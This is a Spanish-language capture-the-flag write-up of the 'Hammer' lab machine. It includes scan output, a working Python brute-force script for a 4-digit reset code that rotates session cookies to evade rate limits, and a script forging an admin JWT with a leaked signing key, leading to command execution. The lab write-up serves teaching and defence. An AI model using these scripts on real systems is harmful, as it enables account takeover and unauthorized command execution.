Hammer
Fecha: 2025-04-06
Resumen
Durante la evaluación de seguridad de la máquina hammer.thm
, se identificaron múltiples vectores de ataque explotables que permitieron el acceso inicial a la aplicación, la manipulación de tokens JWT para la elevación de privilegios y la ejecución remota de comandos arbitrarios en el sistema objetivo. El análisis demuestra una combinación de debilidades en la gestión de autenticación, el almacenamiento inseguro de claves criptográficas y una pobre implementación del control de acceso.
Información de la máquina
Nmap scan report for 10.10.55.194
Host is up (0.18s latency).
Not shown: 59998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
1337/tcp open waste
|_http-title: Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.11 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
TRACEROUTE (using port 1337/tcp)
HOP RTT ADDRESS
1 107.98 ms 10.6.0.1
2 ... 3
4 178.13 ms 10.10.55.194
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.97 seconds
Hallazgos Técnicos Detallados
1. Enumeración del servicio web
Se realizó un escaneo de puertos con nmap
, identificando el puerto 1337 con un servicio HTTP accesible. La herramienta gobuster
reveló la existencia de archivos sensibles como config.php
, dashboard.php
, execute_command.php
, y directorios potencialmente interesantes como /vendor
, /logs
, y /phpmyadmin
.
gobuster dir -u http://hammer.thm:1337/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://hammer.thm:1337/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.htaccess.txt (Status: 403) [Size: 277]
/.htaccess.html (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.hta.txt (Status: 403) [Size: 277]
/.hta.php (Status: 403) [Size: 277]
/.hta.html (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/.htpasswd.html (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.htpasswd.txt (Status: 403) [Size: 277]
/config.php (Status: 200) [Size: 0]
/dashboard.php (Status: 302) [Size: 0] [--> logout.php]
/index.php (Status: 200) [Size: 1326]
/index.php (Status: 200) [Size: 1326]
/javascript (Status: 301) [Size: 320] [--> http://hammer.thm:1337/javascript/]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/phpmyadmin (Status: 301) [Size: 320] [--> http://hammer.thm:1337/phpmyadmin/]
/server-status (Status: 403) [Size: 277]
/vendor (Status: 301) [Size: 316] [--> http://hammer.thm:1337/vendor/]
Progress: 18936 / 18940 (99.98%)
===============================================================
Al inspeccionar el sitio web encontramos esta informacion adicional:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->
</head>
<body>
2. Acceso a logs internos
Utilizando la ruta /hmr_logs/error.logs
, fue posible leer logs de autenticación que contenían intentos fallidos de login y direcciones de correo válidas como tester@hammer.thm
. Esto facilitó ataques dirigidos de autenticación.
ffuf -u http://hammer.thm:1337/hmr_FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://hammer.thm:1337/hmr_FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 2457ms]
css [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 173ms]
js [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 176ms]
logs [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 173ms]
Logs
Al ingresar a los logs encontramos esta informacion del correo electronico

3. Fuerza bruta sobre código de recuperación
La página reset_password.php
contenía un formulario protegido por un contador de tiempo y un campo oculto, pero fue vulnerable a un ataque de fuerza bruta automatizado con rotación periódica de la cookie PHPSESSID
. El script permitió encontrar el código correcto y cambiar la contraseña del usuario tester@hammer.thm
.
HTTP/1.1 200 OK
Date: Sun, 06 Apr 2025 03:09:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Rate-Limit-Pending: 6
Vary: Accept-Encoding
Content-Length: 2101
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Reset Password</title>
<link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
<script src="/hrm_js/jquery-3.6.0.min.js"></script>
<script>
let countdownv = 180;
function startCountdown() {
let timerElement = document.getElementById("countdown");
const hiddenField = document.getElementById("s");
let interval = setInterval(function() {
countdownv--;
hiddenField.value = countdownv;
if (countdownv <= 0) {
clearInterval(interval);
//alert("hello");
window.location.href = 'logout.php';
}
timerElement.textContent = "You have " + countdownv + " seconds to enter your code.";
}, 1000);
}
</script>
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-4">
<h3 class="text-center">Enter Recovery Code</h3>
<p id="countdown">You can enter your code in 180 seconds.</p>
<form method="POST" action="">
<div class="mb-3">
<label for="recovery_code" class="form-label">4-Digit Code</label>
<input type="text" class="form-control" id="recovery_code" name="recovery_code" required>
<input type="hidden" class="form-control" id="s" name="s" required>
</div>
<button type="submit" class="btn btn-primary w-100">Submit Code</button>
<p></p>
<button type="button" class="btn btn-primary w-100" style="background-color: red; border-color: red;" onclick="window.location.href='logout.php';">Cancel</button>
</form>
<script>startCountdown();</script>
</div>
</div>
</div>
</body>
</html>
El objetivo era bypassear el reset_password
codigo
import requests
import time
def get_phpsessid():
"""Request Password Reset and retrieve the PHPSESSID cookie using requests library"""
try:
# Define request parameters
url = "http://hammer.thm:1337/reset_password.php"
data = {"email": "tester@hammer.thm"}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# Send POST request
response = requests.post(url, data=data, headers=headers, allow_redirects=False)
# Extract PHPSESSID from cookies
if 'PHPSESSID' in response.cookies:
return response.cookies['PHPSESSID']
else:
print("No PHPSESSID cookie found in response")
return None
except Exception as e:
print(f"Error getting PHPSESSID: {e}")
return None
def submit_recovery_code(phpsessid, recovery_code):
"""Submit Recovery Code using the retrieved PHPSESSID"""
try:
# Define request parameters
url = "http://hammer.thm:1337/reset_password.php"
data = {"recovery_code": recovery_code, "s": "180"}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
cookies = {"PHPSESSID": phpsessid}
# Send POST request
response = requests.post(url, data=data, headers=headers, cookies=cookies)
return response.text
except Exception as e:
print(f"Error submitting recovery code: {e}")
return ""
def main():
phpsessid = get_phpsessid()
if not phpsessid:
print("Failed to retrieve initial PHPSESSID. Exiting...")
return
for i in range(10000):
recovery_code = f"{i:04d}" # Format the recovery code as a 4-digit string
if i % 7 == 0: # Every 7th request, get a new PHPSESSID
new_phpsessid = get_phpsessid()
if new_phpsessid:
phpsessid = new_phpsessid
else:
print(f"Failed to retrieve PHPSESSID at attempt {i}. Using previous one.")
response_text = submit_recovery_code(phpsessid, recovery_code)
# Determine if we found the correct recovery code
# We're checking if the response length is different than expected
word_count = len(response_text.split())
if word_count != 148:
print(f"Success! Recovery Code: {recovery_code}")
print(f"PHPSESSID: {phpsessid}")
print(f"Response Text: {response_text}")
break
# Optional: Add a small delay to avoid overwhelming the server
if i % 100 == 0:
time.sleep(0.5)
print(f"Tried {i} codes so far...")
if __name__ == "__main__":
main()
4. JWT con validación débil
Se identificó el uso de JWT (algoritmo HS256) para la autorización. En la cabecera del token se especificaba un parámetro kid
que apuntaba a una ruta local del servidor (/var/www/mykey.key
). Posteriormente, se descubrió un archivo accesible en el sistema (188ade1.key
) que contenía la clave secreta usada para firmar los tokens. Esto permitió regenerar un token manualmente, modificando el campo role
de user
a admin
.

Inspeccion el codigo de la pagina web encontramos lo siguiente
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dashboard</title>
<link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
<script src="/hmr_js/jquery-3.6.0.min.js"></script>
<style>
body {
background: url('/hmr_images/hammer.webp') no-repeat center center fixed;
background-size: cover;
}
.container {
position: relative;
z-index: 10; /* Make sure the content is above the background */
background-color: rgba(255, 255, 255, 0.8); /* Slight white background for readability */
padding: 20px;
border-radius: 10px;
}
</style>
<script>
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
function checkTrailUserCookie() {
const trailUser = getCookie('persistentSession');
if (!trailUser) {
window.location.href = 'logout.php';
}
}
setInterval(checkTrailUserCookie, 1000);
</script>
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-6">
<h3>Welcome, Thor! - Flag: THM{AuthBypass3D}</h3>
<p>Your role: user</p>
<div>
<input type="text" id="command" class="form-control" placeholder="Enter command">
<button id="submitCommand" class="btn btn-primary mt-3">Submit</button>
<pre id="commandOutput" class="mt-3"></pre>
</div>
<a href="logout.php" class="btn btn-danger mt-3">Logout</a>
</div>
</div>
</div>
<script>
$(document).ready(function() {
$('#submitCommand').click(function() {
var command = $('#command').val();
var jwtToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzQzOTA5MzExLCJleHAiOjE3NDM5MTI5MTEsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.TOn3vobl2O-iekDOYf9qjm74fIBXS0j88IHJwMfWnIE';
// Make an AJAX call to the server to execute the command
$.ajax({
url: 'execute_command.php',
method: 'POST',
data: JSON.stringify({ command: command }),
contentType: 'application/json',
headers: {
'Authorization': 'Bearer ' + jwtToken
},
success: function(response) {
$('#commandOutput').text(response.output || response.error);
},
error: function() {
$('#commandOutput').text('Error executing command.');
}
});
});
});
</script>
</body>
</html>
Al seguir inspeccionando mediante el burp suite nos encontramos el token el cual lo revisaremos en la pagina de jwt.io

El resultado que nos bota la pagina jwt.io es el siguiente:

Generacion de token admin
import jwt
from datetime import datetime, timedelta
secret_key="56058354efb3daa97ebab00fabd7a7d7"
# Header y payload basados en la información proporcionada
headers = {
"typ": "JWT",
"alg": "HS256",
"kid": "/var/www/html/188ade1.key"
}
payload = {
"iss": "http://hammer.thm",
"aud": "http://hammer.thm",
"iat": 1743909600,
"exp": 9999999999,
"data": {
"user_id": 1,
"email": "tester@hammer.thm",
"role": "admin"
}
}
# Generar el token JWT
token = jwt.encode(payload, secret_key, algorithm="HS256", headers=headers)
print(token)
5. Escalada de privilegios y ejecución remota
Con el nuevo JWT modificado con privilegios de administrador, se utilizó la funcionalidad del endpoint /execute_command.php
para ejecutar comandos arbitrarios. Esto permitió listar archivos, extraer el contenido de flags almacenadas en el sistema (/home/ubuntu/flag.txt
) y verificar el contexto de ejecución (uid=33(www-data)
).
Obtención de banderas
Metodología de Explotación
Enumeración de rutas y archivos con
gobuster
yffuf
.Lectura de registros (
error.logs
) para obtener información interna.Fuerza bruta del código de recuperación con rotación de sesión.
Análisis y manipulación del JWT usando la clave filtrada en el sistema.
Generación de nuevo token con privilegios elevados (rol
admin
).Envío de comandos al servidor mediante Burp Suite hacia
execute_command.php
.
Conclusiones Técnicas
Esta máquina ilustra de forma clara los riesgos que supone:
Utilizar JWT sin una validación segura del parámetro
kid
.Exponer archivos de configuración y llaves en directorios accesibles.
No limitar correctamente el acceso a endpoints administrativos.
Implementar mecanismos de recuperación de contraseña sin protección efectiva contra fuerza bruta. Estas vulnerabilidades fueron explotadas en cadena para obtener acceso completo al sistema. Se recomienda aplicar las mejores prácticas en control de acceso, manejo de tokens y protección de archivos sensibles.
Última actualización